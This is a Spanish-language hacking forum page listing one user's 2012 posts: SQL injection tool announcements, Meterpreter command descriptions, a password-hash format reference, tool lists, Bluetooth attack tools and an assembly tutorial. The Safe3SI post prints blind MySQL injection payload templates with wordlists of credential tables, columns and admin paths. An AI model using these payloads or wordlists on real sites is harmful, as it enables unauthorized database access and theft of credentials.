Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Stuxnet

#81
Bugs y Exploits / Safe3SI
Noviembre 16, 2012, 12:55:33 PM



Safe3SI es un herramienta que automatiza el proceso de detección y aprovechamiento de defectos de inyección sql y de servidores de base de datos. Viene con un motor de detección de kick-ass, muchas características para el probador de penetración máxima y una amplia gama de interruptores de base de datos de rastro digital, sobre la obtención de datos de la base de datos, para acceder el sistema de archivos subyacente y ejecutar comandos en el sistema operativo a través de conexiones fuera de banda.

Columns:

Código: text
about
access
account
accounts
admin
admin_id
admin_name
admin_pass
admin_passwd
admin_password
admin_psw
admin_pwd
admin_user
admin_userid
admin_username
adminemail
adminid
Administrateur
Administrator
administrator_name
administrators
adminlogin
adminmail
adminname
adminpass
adminpassword
adminpaw
adminpsw
adminpwd
admins
AdminUID
adminupass
adminuser
adminuserid
adminusername
adress
aid
Aide
aim
apwd
ArticleID
auid
blog
cc_number
cc_owner
cfg
cid
city
client
clientname
clientpassword
clients
clientusername
conf
config
content
converge_pass_hash
converge_pass_salt
crack
customer
customers
customers_password
data
db_hostname
db_password
db_username
dw
E-mail
e_mail
email
emailaddress
feed
feedback
gid
glmm
group
hash
id
id_member
images
index
isadmin
key
keywords
last_login
lastname
log
login
login_admin
login_name
login_pass
login_passwd
login_password
login_pw
login_pwd
login_user
login_username
logini
loginkey
logins
logo
mail
md5hash
mem_login
mem_pass
mem_passwd
mem_password
mem_pwd
member
member_id
member_login_key
member_name
memberid
membername
members
memlogin
mempassword
mima
mm
mpassword
msn
musername
my_email
my_name
my_password
my_username
myname
mypassword
myusername
name
nc
new
news
newsid
note
number
Numer
nummer
p
p_assword
p_word
pass
pass1word
pass_hash
pass_w
pass_word
passer
Passw
passwd
password
Passwort
passwrd
pe_aduser
pe_user
phone
POWER
psw
pswd
pw
pwd
pwd1
pword
pwrd
qq
sb_admin_name
sb_pwd
search
sesskey
setting
sid
spacer
status
Stocker
store
sysuser
telephone
temp_pass
temp_password
temppass
temppasword
text
texte
title
u
u_name
uid
un
uname
url
user
user1
user_admin
user_email
user_id
user_ip
user_level
user_login
user_n
user_name
user_pass
user_passw
user_passwd
user_password
user_pw
user_pwd
user_pword
user_pwrd
user_uname
user_username
user_usernm
user_usernun
user_usrnm
useradmin
userid
userip
Userlogin
usern
username
user_name
usernm
userpass
userpasswd
userPassword
userpw
userpwd
users
usr
usr2
usr_n
usr_name
usr_nusr
usr_pass
usr_pw
usrn
usrnam
usrname
usrnm
usrpass
usrs
website
wind
wp_users
xar_name
xar_pass
yh
yhm
yhmm
yonghu


WebPath:

Código: text
Stats/
ad/
ad_login/
ad_manage/
adm/
adm_login/
admin/
admin/default/
admin/index/
admin/login/
admin/manage/
admin1/
admin888/
admin_admin/
admin_login/
adminadmin/
administrator/
adminlogin/
amd/
article/admin/
backup/
chkadmin/
chklogin/
config/
database/
databases/
db/
dbase/
denglu/
eWebEditor/
editor/
files/
guanli/
houtai/
houtaiguanli/
htdocs/
htgl/
include/
includes/
incoming/
install/
login/
login1/
manage/
manager/
manager/login/
manual/
mrtg/
private/
public/
root/
secret/
secrets/
server-info/
server-status/
server_stats/
set/
setting/
setup/
snmp/
source/
sources/
sql/
statistics/
super/
superadmin/
sys_admin/
telephone/
temp/
temporary/
test/
tool/
tools/
up/
update/
upfile/
upload/
usage/
user/
users/
webadmin/
weblog/
weblogs/
webmaster/
webstats/
work/
wstats/
wwwlog/
wwwstats/
xtwh/
.htaccess
pma/
phpMyAdmin/
ad_login{ext}
ad_manage{ext}
addmember{ext}
adduser{ext}
add_user{ext}
add_file{ext}
add_pic{ext}
adm_login{ext}
admin123{ext}
admin1{ext}
admin888{ext}
admin_admin{ext}
admin_delete{ext}
admin_del{ext}
admin_edit{ext}
admin_index{ext}
admin_login{ext}
admin_main{ext}
admin_user{ext}
adminadduser{ext}
admindefault{ext}
admindelete{ext}
admindel{ext}
adminedit{ext}
adminindex{ext}
administrator{ext}
adminlogin{ext}
adminmanage{ext}
adminmember{ext}
admintab{ext}
adminuserlogin{ext}
adminuser{ext}
admin{ext}
ad{ext}
aspcheck{ext}
chkadmin{ext}
chklogin{ext}
config{ext}
conn{ext}
default{ext}
delete{ext}
denglu{ext}
editmember{ext}
edituser{ext}
editor{ext}
guanli{ext}
houtaiguanli{ext}
houtai{ext}
htgl{ext}
index_admin{ext}
index_manage{ext}
index{ext}
left{ext}
login_admin{ext}
login_out{ext}
login{ext}
logout{ext}
main{ext}
manage_index{ext}
manager{ext}
manage{ext}
members{ext}
member{ext}
menu{ext}
top{ext}
upfile{ext}
upload{ext}
up{ext}
users{ext}
user{ext}


MySql:

Código: text
%20and%201=2%23
%20and%20(select%20char_length(<column>)%20from%20(select%20*%20from%20<database>.<table>%20order%20by%201%20limit%20<length>,1)%20t%20limit%201)%20between%20<min>%20and%20<temp>%20%23
%20and%20(select%20abs(ascii(substr(<column>,<index>,1)))%20from%20(select%20*%20from%20<database>.<table>%20order%20by%201%20limit%20<length>,1)%20t%20limit%201)%20between%20<min>%20and%20<temp>%20%23


Tables:

Código: text
a_admin
account
accounts
ACT_INFO
ad
adm
admin
admin_login
admin_name
admin_pass
admin_password
admin_psw
admin_pwd
admin_user
admin_userinfo
admin_username
administrator
administrators
adminname
adminpass
adminpassword
adminpsw
admins
adminupass
adminuser
adminusername
Art
article
Autor
BBS
book
chat
Client
clients
clubconfig
cms_admin
cms_admins
cms_user
cms_users
company
config
Contact
content
contenu
control
controle
Country
customer
customers
dbadmins
download
dw
Event
gl
glmm
gly
group
guanli
guanliyuan
h_admin
images
Index
info
key
keywords
login
logon
logs
m_admin
main
manage
manager
mb_users
member
memberlist
members
mima
mm
movie
mpassword
musername
mybb_users
mysql
mysql.user
name
names
nc
new
news
order
pass
password
passwords
phpmyadmin.pma_table_info
pma_table_info
power
powers
psw
pswd
pw
pwd
pwd1
pwds
reg_user
reg_users
reguser
regusers
root
roots
session
setting
settings
site_login
site_logins
SITELOGIN
sitelogins
Subjects
Superuser
sys
sysadmin
sysadmins
sysconstraints
syssegments
System
systime
sysuser
sysusers
table
tables
tb_admin
tb_administrator
tb_login
tb_member
tb_members
tb_user
tb_username
tbl
tbl_user
tbl_users
tbladmins
tblConfigs
tblUser
test
Titel
u
u_n
u_name
u_p
u_pass
uid
user
user_admin
user_info
user_list
user_login
user_name
user_pw
UserControl
userinfo
username
usernames
userpasswd
userpassword
userpwd
users
usr
usr_pw
usrs
vb_user
vip
WebAdmin
webadmins
Webmaster
webmasters
webuser
webusers
x_admin
yhm
yhmm


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#82
Hacking / Comandos Meterpreter
Noviembre 15, 2012, 09:15:16 PM
Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-interprete y se ejecuta completamente en memoria; evitando así tener problemas con los Antivirus.

En este artículo se describen algunas de las características más importantes de este shellcode como son:

   1. Eliminación de archivos de Log.
   2. Captura de pantalla.
   3. Carga y descarga de archivos.
   4. Copiar información.
   5. Extracción de información de configuración: Tablas de enrutamiento, tarjetas de red, registro de Windows, configuración de seguridad, archivos compartidos, configuración de firewall, etc, etc.

Core Commands

Background

Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions –i 1).    





Migrate

Permite migrarse a otro proceso en la maquina víctima.    





File Systems Commands

LS

Permite visualizar los archivos en el directorio remoto actual.    



Download

Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash doble en la ruta del mismo    



Upload


Permite cargar un archivo en una ruta especifica, de la misma manera que el comando download es necesario hacer uso del doble slash al momento de indicar la ruta.    



Search

Permite buscar archivos en la maquina víctima, además:

1. Permite indicar el tipo de archivo.

2. Permite indicar la ruta donde se quiere realizar la búsqueda.    






Networking Commads

Ipconfig

Permite visualizar todas la información de todas tarjetas de red existentes en la maquina atacada.    



Route

Permite consultar y modificar la tabla de enrutamiento.    



System Commads

Execute

Permite ejecutar un comando.    



Getprivs

Permite obtener tantos privilegios de administración como sea posible.    



Getuid

Permite consultar el tipo de usuario que la maquina victima esta ejecutando.    



Ps

Permite consultar todos los procesos que están en ejecución.    



Shell

Permite obtener un Shell, o línea de comando.    



SysInfo

Permite obtener información del sistema remoto como:

1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.    



User Interface Commads

Enumdesktops

Permite consultar todas las sesiones (o escritorios).    



Idletime

Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.    



Screenshot

Permite extraer una imagen del escritorio remoto.    



Uictl

Permite controlar algunos de los componentes del sistema afectado.    



Password Database Commads

Hashdump

Permite consultar el contenido del la base de datos SAM en sistemas Windows.

#83
Seguridad / Tipos de Hash
Noviembre 06, 2012, 03:30:27 PM
DES(Unix)
Ejemplo: IvS7aeT4NzQPM
Utilizados en Linux y otras similares OS.
Longitud: 13 characters.
Descripción: Los dos primeros caracteres son la sal (caracteres aleatorios, en nuestro Ejemplos En la sal es la cadena "IV"), luego sigue el hash actual.


De dominio en caché de credenciales
Ejemplo: Admin:b474d48cdfc4974d86e f4d24904cdd91
Se utiliza para almacenar en caché las contraseñas de dominio de Windows.
Longitud: 16 bytes.

Algoritmo: MD4(MD4(Unicode($pass)).Unicode(strtolower($userna me)))


MD5(Unix)
Ejemplo: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/
Utilizados en Linux y otras similares OS.
Longitud: 34 Caracteres
Descripción: El hash comienza con la firma $ 1 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2000 veces.

MD5(APR)
Ejemplo: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.
Utilizados en Linux y otras similares OS.
Longitud: 37 caracteres
Descripción: El hash comienza con la firma $ apr1 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual .
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2000 veces.


MD5(phpBB3)
Ejemplo: $H$9123456785DAERgALpsri.D9z3ht120
Usado en phpBB 3.x.x.(Foros)
Longitud: 34 characters.
Descripción: El hash comienza con la firma H $ $, entonces ahí va uno de los personajes (por lo general el número '9 '), entonces ahí va la sal (8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 2048 veces.


MD5(Wordpress)
Ejemplo: $P$B123456780BhGFYSlUqGyE6ErKErL01
Usado en Wordpress.
Longitud: 34 characters.
Descripción: El hash comienza con la firma $ P $, entonces ahí va uno de los personajes (más a menudo "B" el número), entonces ahí va la sal (8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo MD5 8192 veces.


MySQL
Ejemplo: 606717496665bcba
Usado en las versiones antiguas de MySQL
Longitud: 8 bytes.
Descripción: El hash se compone de dos DWORD, cada uno no exceda el valor de 0x7fffffff.

MySQL5
Ejemplo: *E6CC90B878B948C35E92B003C792C46C58C4AF40
Usado en la versiones nuevas de MySQL5
Longitud: 20 bytes.
algoritmo: SHA-1(SHA-1($pass))
Nota: Los hashes se van a cargar en el programa sin el asterisco que se encuentra en el comienzo de cada hash.

RAdmin v2.x
Ejemplo: 5e32cceaafed5cc8086 6737dfb212d7f
Used in the application Remote Administrator v2.x.
Longitud: 16 bytes.
Nota: La contraseña se rellena con ceros a la Longitud de 100 bytes, que se aloja toda la cadena con el algoritmo MD5.

MD5
Ejemplo: c4ca4238a0b923820dc c509a6f75849b
Utilizados en v2.x phpBB, versión Joomla 1.0.13 a continuación y muchos otros foros y CMS.
Longitud: 16 bytes.
Algoritmo: Igual que la función md5 () en PHP.

md5($pass.$salt)
Ejemplo: 6f04f0d75f6870858ba e14ac0b6d9f73:1234
Utilizados en WB News, Joomla versión 1.0.13 y superiores.
Longitud: 16 bytes.

md5($salt.$pass)
Ejemplo: f190ce9ac8445d24974 7cab7be43f7d5:12
Utilizados en osCommerce, AEF, Galería y otros CMS.
(osCommerce tenia una falla mas grande..)
Longitud: 16 bytes.

md5(md5($pass))
Ejemplo: 28c8edde3d61a041151 1d3b1866f0636
Utilizados en e107, DLE, AVE, Diferior, Koobi y otros CMS.
Longitud: 16 bytes.

md5(md5($pass).$salt)
Ejemplo: 6011527690eddca2358 0955c216b1fd2:wQ6
Utilizado en vBulletin, IceBB.
Longitud: 16 bytes.
Notes: [1] [3] [4]

md5(md5($salt).md5($pass))
Ejemplo: 81f87275dd805aa018d f8befe09fe9f8:wH6_S
Utilizados en IPB.
Longitud: 16 bytes.

md5(md5($salt).$pass)
Ejemplo: 816a14db44578f516cb aef25bd8d8296:1234
Usado en MyBB.
Longitud: 16 bytes.


md5($salt.$pass.$salt)
Ejemplo: a3bc9e11fddf4fef4de ea11e33668eab:1234
Usado en TBDev.
Longitud: 16 bytes.

md5($salt.md5($salt.$pass))
Ejemplo: 1d715e52285e5a6b546 e442792652c8a:1234
Usado en DLP.
Longitud: 16 bytes.

SHA-1
Ejemplo: 356a192b7913b04c545 74d18c28d46e6395428 ab
Se utiliza en muchos foros y CMS.
Longitud: 20 bytes.
Algoritmo: Igual que el sha1 () en PHP.

sha1(strtolower($username).$pass)
Ejemplo: Admin:6c7ca345f63f835cb35 3ff15bd6c5e052ec08e 7a
Utilizados en SMF.
Longitud: 20 bytes.

sha1($salt.sha1($salt.sha1($pass)))
Ejemplo: cd37bfbf68d198d11d3 9a67158c0c9cddf3457 3b:1234
Utilizados en WoltLab BB.
Longitud: 20 bytes.

SHA-256(Unix)
Ejemplo: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqiKSNK1rkTk9z YE1v0
Utilizados en Linux y otras similares OS.
Longitud: 55 characters.
Descripción: El hash comienza con la firma de $ 5 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo SHA-256 5000 veces.


SHA-512(Unix)
Ejemplo: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEmFNLlq6Ik9X3 reMXY3doKEuxrcDohKU x0Oxf44aeTIxGEjssvt T1aKyZHjs
Utilizados en Linux y otras similares OS.
Longitud: 98 caracteres.

Descripción: El hash comienza con la firma de $ 6 $, entonces ahí va la sal (hasta 8 caracteres al azar, en nuestro Ejemplos En la sal es la cadena "12345678"), entonces ahí va uno más el carácter $, seguido por el hash actual.
Algoritmo: La verdad es que es un circuito llamado el algoritmo SHA-512 5000 veces.
#84
Buenos aqui les dejo uno de mis libros favoritos Compiladores, Principios, Tecnicas Y Herramientas de la serie tecnicolor.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Contenido:

Introducción a la compilación.
Un compilador sencillo de una pasada.
Análisis léxico.
Análisis sintáctico.
Traducción dirigida por sintaxis.
Verificación de tipos.
Ambientes durante la ejecución.
Generación de código intermedio.
Generación de código.
Optimación de código.
¿Desea escribir un compilador?
Repaso de algunos compiladores.
#85
Bueno ahora les enseñare como instalar Social Engineering Toolkit  en ubuntu.

Primero abrimos una terminal y tecleamos

Citarsvn co No tienes permitido ver enlaces. Registrate o Entra a tu cuenta set/

Después que se descargue ingresamos a la carpeta de SET está en la Carpeta Personal.

Citarcd set

Ahora nos tendremos que loguearnos como root y tecleamos  en la carpeta de set

Citarpython No tienes permitido ver enlaces. Registrate o Entra a tu cuenta install

Después tecleamos. Deben estar como root  en la carpeta de set

Citar./set

Les saldra esto Son los términos y conficiones de uso. Presionamos la tecla "Y" seguido de la tecla Enter para continuar.





Un tutorial que hizo Antrax sobre Set No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#86
Ingeniería Inversa / Dissy [Herramienta]
Noviembre 03, 2012, 12:57:56 PM
Dissy es una interfaz gráfica para el desensamblador de objdump. Dissy puede utilizarse para la depuración y viendo el código generado por el compilador.

Dissy se puede encontrar en Backbox ... Auditing -> Reverse Engineering -> Dissy


También se puede descargar de: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#87
Hacking / Herramientas: Hacking y Seguridad ( Linux )
Noviembre 03, 2012, 11:21:20 AM
Aplicaciones que no deben faltar en tu Linux

1. John the Ripper: Herramienta para cracking de contraseñas. Es una de las más conocidas y populares (también tiene versión Windows). Además de autodetectar el hash de las contraseñas, puedes configurarlo como quieras. Lo puedes usar en contraseñas encriptadas para Unix (DES, MD5 ó Blowfish), Kerberos AFS y Windows. Tiene módulos adicionales para incluir hashes de contraseñas badadas en MD4 y almacenadas en LDAP, MySQL y otros.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

2. Nmap: ¿Quién no conoce Nmap?, Sin duda el mejor programa para se seguridad para redes. Puedes usarlo para encontrar ordenadores y servicios en una red. Se usa sobre todo para escanear puertos, pero esta es sólo una de sus posibilidades. También es capaz de descubrir servicios pasivos en una red así como dar detalles de los ordenadores descubiertos (sistema operativo, tiempo que lleva conectado, software utilizado para ejecutar un servicio, presencia de un firewall ó incluso la marca de la tarjeta de red remota). Funciona en Windows y Mac OS X también. Tutorial Nmap.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

3. Nessus: Herramienta para encontrar y analizar vulnerabilidades de software, como aquellas que puedan ser utilizadas para controlar o acceder a los datos del equipo remoto. También localiza passwords por defecto, parches no instalados, etc.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

4. Chkrootkit: Básicamente es un shell script para permitir descubrir rootkits instalados en nuestro sistema. El problema es que muchos rootkits actuales detectan la presencia de programas como este para no ser detectados.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

5. Wireshark: Sniffer de paquetes, se utiliza para analizar el tráfico de red. Es parecido a tcpdump (luego hablamos de él) pero con una GUI y más opciones de ordenación y filtro. Coloca la tarjeta en modo promiscuo para poder analizar todo el tráfico de la red. También está para Windows.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

6. Netcat: Herramienta que permite abrir puertos TCP/UDP en un equipo remoto (después se queda a la escucha) , asociar una shell a ese puerto y forzar conexiones UDP/TCP (útil para rastreo de puertos o transferencias bit a bit entre dos equipos).
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

7. Kismet: Sistema de detección de redes, sniffer de paquetes y de intrusión para redes inalámbricas 802.11.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

8. HPing: Generador y analizador de paquetes para el protocolo TCP/IP. En las últimas versiones se pueden usar scripts basados en el lenguaje Tcl y también implementa un motor de strings (cadenas de texto) para describir los paquetes TCP/IP, de esta manera es más fácil de entenderlos además de poder manipularlos de una manera bastante fácil.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

9. Snort: Es un NIPS: Network Prevention System y un NIDS: Network Intrusion Detetection, capaz de analizar redes IP. Se usa sobre todo para detectar ataques como buffer overflows, acceso a puertos abiertos, ataques web, etc.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

10. tcpdump: Herramienta de debugging que se ejecuta desde la línea de comandos. Permite ver los paquetes TCP/IP (y otros) que se están transmitiendo o recibiendo desde el ordenador.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

11. Metasploit: Esta herramienta que nos proporciona información sobre vulnerabilidades de seguridad y permite hacer pruebas de penetración contra sistemas remotos. Tiene también un framework para realizar tus propias herramientas y está tanto para Linux como para Windows. Existen muchos tutoriales por la red donde explican cómo utilizarlo.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#88
Bugs y Exploits / Sqli Hunter
Noviembre 02, 2012, 10:34:10 PM
SQLI Hunter es una herramienta de automatización para buscar una vulnerabilidad de inyección SQL en un sitio web.

Automatiza la búsqueda de enlaces SQLi vulnerables de Google utilizando dorks google!

SQLI Hunter también puede encontrar la página de administración de cualquier sitio web mediante el uso de algunas listas predefinidas de administrador de la página.

Rápido y fácil de usar!

Funciones añadidas: -
- Ahora es compatible 500 resultados
- Lista de URL se puede importar / exportar
- Ajuste de tiempo de espera de conexión
Requiere. NET Framework 3.5

descargar:  No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#89

Function Inspection. Esta función implementa la capacidad de serie específica de etiqueta de llamada API. La API de seguimiento podría seleccionada y modificada en un archivo de configuración específico (config.json). IDAscope le alertará cuando ocurrirán patrones específicos de la API. La funcionalidad de control de función permite otra característica super llamado: bloque basic para colorear. Haber coloreado bloques en IDAPro es realmente útil para aprisa a entender cuál es el propósito de la pieace analizada del código. Lo que es común, ahora es colapsar bloques dando nombres de nivel altos. IDAscope ofrece la posibilidad de colorear automáticamente bloquea haciendo forma más eficiente en reconoce bloques inútiles. Código de función de conversión y cambio de nombre automático de funciones de envoltura son funcionalidades adicionales útiles así.

WinAPI Browsing. Obviamente para windows reversas es increíblemente útil tener manual de referencia de la API de Windows. Aquí, usando la API de IDAscope referencia está al lado de los ojos para la búsqueda rápida e inteligente. La siguiente imagen muestra ambos: colorante de bloques y WinAPI navegando.


Crypto Identification. Tal vez la más funcionalidad de useufl a todos los inversores que se utilizan para lidiar con múltiples herramientas para averiguar qué algoritmo de cifrado se ha utilizado en el código. IDAscope detecta el algoritmo usado basando su análisis en la relación de la aritmética / instrucciones de lógica para todas las instrucciones en un bloque básico.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Happy Reverse Engineerin
#90
Bugs y Exploits / pWeb suite v1.1
Octubre 26, 2012, 03:51:47 PM

Esta suit (antes conocida como PCrack Suite") de herramientas es usada primordialmente para pruebas de vulnerabilidad de aplicacion web escrita en PERL

Incluye herramientas como

Hellfire - LFI Automation Tool
LogInjector - Code Injection Tool for Web Server Logs (LFI Attack)
Smsi (SimplyMySQLi) - Simple Mysql Injector
Xss Tools like StrEncode
Xss String Encoding Tool

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#91
Ingeniería Inversa / Cracking kit tool 2012
Octubre 17, 2012, 02:50:31 AM

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

ISO|RAR|Tamaño total: 1011.5 MB Piezas: 4 x 1 MB



























Torrent.

3 mirror

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

La fuente Hackxcrack
#92
Bugs y Exploits / W3af
Octubre 16, 2012, 09:41:07 PM
W3af es un escaner muy popular, potente y flexible para encontrar y explotar las vulnerabilidades de aplicaciones web. Es fácil de utilizar y extender y cuenta con decenas de evaluación web y plugins de explotación. En cierto modo, es como una web centrada en Metasploit.

Plataformas.

Linux (all distributions)
Microsoft Windows
Mac OS X
FreeBSD, OpenBSD, and NetBSD

Web oficial

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

#93
Wargames y retos / Reto Bill Gates
Octubre 16, 2012, 08:40:50 PM
En este simple reto solo es de decir de como crearian una carpeta en windows con el nombre con




La solucion me la envian por MP... y los agregare al tema a los que lo resuelvan




Resuelto Por:

k0ws
Abnormality
zoro248
k43l
arthusu
bryanms
WARH4CKt
D3SG4RR4D0R
kotor30
Jimeno
#94
Cursos, manuales y libros / Manuales Users
Septiembre 28, 2012, 10:25:16 PM

Contenido

Manual Users – Algoritmos.pdf
Manual Users – Arme su propia red.pdf
Manual Users – Cómo actualizar la PC, Introducción.pdf
Manual Users – Congelamiento por software.pdf
Manual Users – Creación de sitios web, Introducción.pdf
Manual Users – Discos.pdf
Manual Users – Diseño web.pdf
Manual Users – Edición de videos.pdf
Manual Users – El escritorio de Windows XP.pdf
Manual Users – El motherboard.pdf
Manual Users – Flash Master, conocimientos preliminares.pdf
Manual Users – Fuego en las entrañas.pdf
Manual Users – Funciones de una red.pdf
Manual Users – Hardware.pdf
Manual Users – Introducción a la electrónica.pdf
Manual Users – Introducción a la programación.pdf
Manual Users – Introducción a LINUX.pdf
Manual Users – JAVA – Jasper Reports.pdf
Manual Users – La cámara digital.pdf
Manual Users – La manipulación del sonido.pdf
Manual Users – LINUX.pdf
Manual Users – Motherboard.pdf
Manual Users – PC, Riesgos y amenazas.pdf
Manual Users – Photoshop Master, Intoducción.pdf
Manual Users – PHP.pdf
Manual Users – Postales electrónicas y libros de visitas con PHP.pdf
Manual Users – Presentación e instalación de SQL Server.pdf
Manual Users – Project Management, Conocimientos generales.pdf
Manual Users – Secretos de Windows.pdf
Manual Users – Seguridad informática, piláres básicos.pdf
Manual Users – Unidades de almacenamiento, Reparación.pdf
Manual Users – Wireless.pdf
Manual Users – XML, Introducción.pdf

Descarga

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#95
Phreak / Bluejacking Tools
Julio 30, 2012, 06:41:10 PM

Variadas Herramientas de BlueJacking capaces de realizar ataques por Bluetooth, del tipo BlueBug, BlueSnarf, HeloMoto, OBEX Object Push, Robo de Informacion,  Envio de Mensajes, Control total del telefono, entre otras.

Tenemos:
- Bloover II
- Bloover II - Breever Edition
- Bluetooth Messenger
- BT File Manager ES *
- BT Browser
- Chat2U
- DJK-Bluevoice
- EasyJack v 2
- MiyuX
- MSocius BlueChat
- Super Bluetooth Hack (BT Info) ES *
- STMBlueS

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#96
ASM / Tutorial Básico del Lenguaje Ensamblador
Julio 08, 2012, 04:06:31 PM
Descripción básica de un sistema de cómputo

Unidades de información
Para que la PC pueda procesar la información es necesario que ésta se encuentre en celdas especiales llamadas registros.
Los registros son conjuntos de 8 o 16 flip-flops (basculadores o biestables).

Un flip-flop es un dispositivo capaz de almacenar dos niveles de voltaje, uno bajo, regularmente de 0.5 volts y otro alto comúnmente de 5 volts. El nivel bajo de energía en el flip-flop se interpreta como apagado o 0, y el nivel alto como prendido o 1. A estos estados se les conoce usualmente como bits, que son la unidad mas pequeña de información en una computadora.

A un grupo de 16 bits se le conoce como palabra, una palabra puede ser dividida en grupos de 8 bits llamados bytes, y a los grupos de 4 bits les llamamos nibbles.

Sistemas numéricos
El sistema numérico que utilizamos a diario es el sistema decimal, pero este sistema no es conveniente para las máquinas debido a que la información se maneja codificada en forma de bits prendidos o apagados; esta forma de codificación nos lleva a la necesidad de conocer el cálculo posicional que nos permita expresar un número en cualquier base que lo necesitemos.

Convertir números binarios a decimales

Trabajando en el lenguaje ensamblador nos encontramos con la necesidad de convertir números del sistema binario, que es el empleado por las computadoras, al sistema decimal utilizado por las personas.

El sistema binario está basado en únicamente dos condiciones o estados, ya sea encendido (1) o apagado (0), por lo tanto su base es dos.

Para la conversión podemos utilizar la formula de valor posicional: Por ejemplo, si tenemos el numero binario 10011, tomamos de derecha a izquierda cada dígito y lo multiplicamos por la base elevada a la nueva posición que ocupan:

Código: text
    Binario: 1       1       0       0       1

    Decimal: 1*2^0 + 1*2^1 + 0*2^2 + 0*2^3 + 1*2^4= 1+2+0+0+16=19 decimal.



El carácter ^ es utilizado en computación como símbolo de potenciación y el carácter * se usa para representar la multiplicación.

Convertir números decimales a binarios

Existen varios métodos de conversión de números decimales a binarios; aquí solo se analizará uno.

Naturalmente es mucho mas fácil una conversión con una calculadora científica, pero no siempre se cuenta con ella, así que es conveniente conocer por lo menos una forma manual para hacerlo.

El método que se explicará utiliza la división sucesiva entre dos, guardando el residuo como dígito binario y el resultado como la siguiente cantidad a dividir.

Tomemos como ejemplo el número 43 decimal.

Código: text
43/2 = 21 y su residuo es 1

21/2 = 10 y su residuo es 1

10/2 = 5 y su residuo es 0

5/2 = 2 y su residuo es 1

2/2 = 1 y su residuo es 0

1/2 = 0 y su residuo es 1


Armando el número de abajo hacia arriba tenemos que el resultado en binario es 101011.

Sistema hexadecimal

En la base hexadecimal tenemos 16 dígitos que van del 0 al 9 y de la letra A hasta la F (estas letras representan los números del 10 al 15). Por lo tanto, contamos 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E y F.

La conversión entre numeración binaria y hexadecimal es sencilla. Lo primero que se hace para una conversión de un número binario a hexadecimal es dividirlo en grupos de 4 bits, empezando de derecha a izquierda. En caso de que el último grupo (el que quede mas a la izquierda) sea menor de 4 bits se rellenan los faltantes con ceros.

Tomando como ejemplo el número binario 101011 lo dividimos en grupos de 4 bits y nos queda.

Código: text
10; 1011


Rellenando con ceros el último grupo (el de la izquierda):

Código: text
0010; 1011


Después tomamos cada grupo como un número independiente y consideramos su valor en decimal:

Código: text
 0010 = 2; 1011 = 11


Pero como no podemos representar este número hexadecimal como 211 porque sería un error, tenemos que sustituir todos los valores mayores a 9 por su respectiva representación en hexadecimal, con lo que obtenemos:

Código: text
2BH (Donde la H representa la base hexadecimal)


Para convertir un número de hexadecimal a binario solo es necesario invertir estos pasos: se toma el primer dígito hexadecimal y se convierte a binario, y luego el segundo, y así sucesivamente hasta completar el número.

Código ASCII
ASCII generalmente se pronuncia "aski", es un acrónimo de American Standard Code for Information Interchange.

Este código asigna a las letras del alfabeto, a los dígitos decimales del 0 al 9 y a varios símbolos adicionales un número binario de 7 bits (poniéndose el bit 8 en su estado de apagado o 0).

De esta forma cada letra, dígito o carácter especial ocupa un byte en la memoria de la computadora.

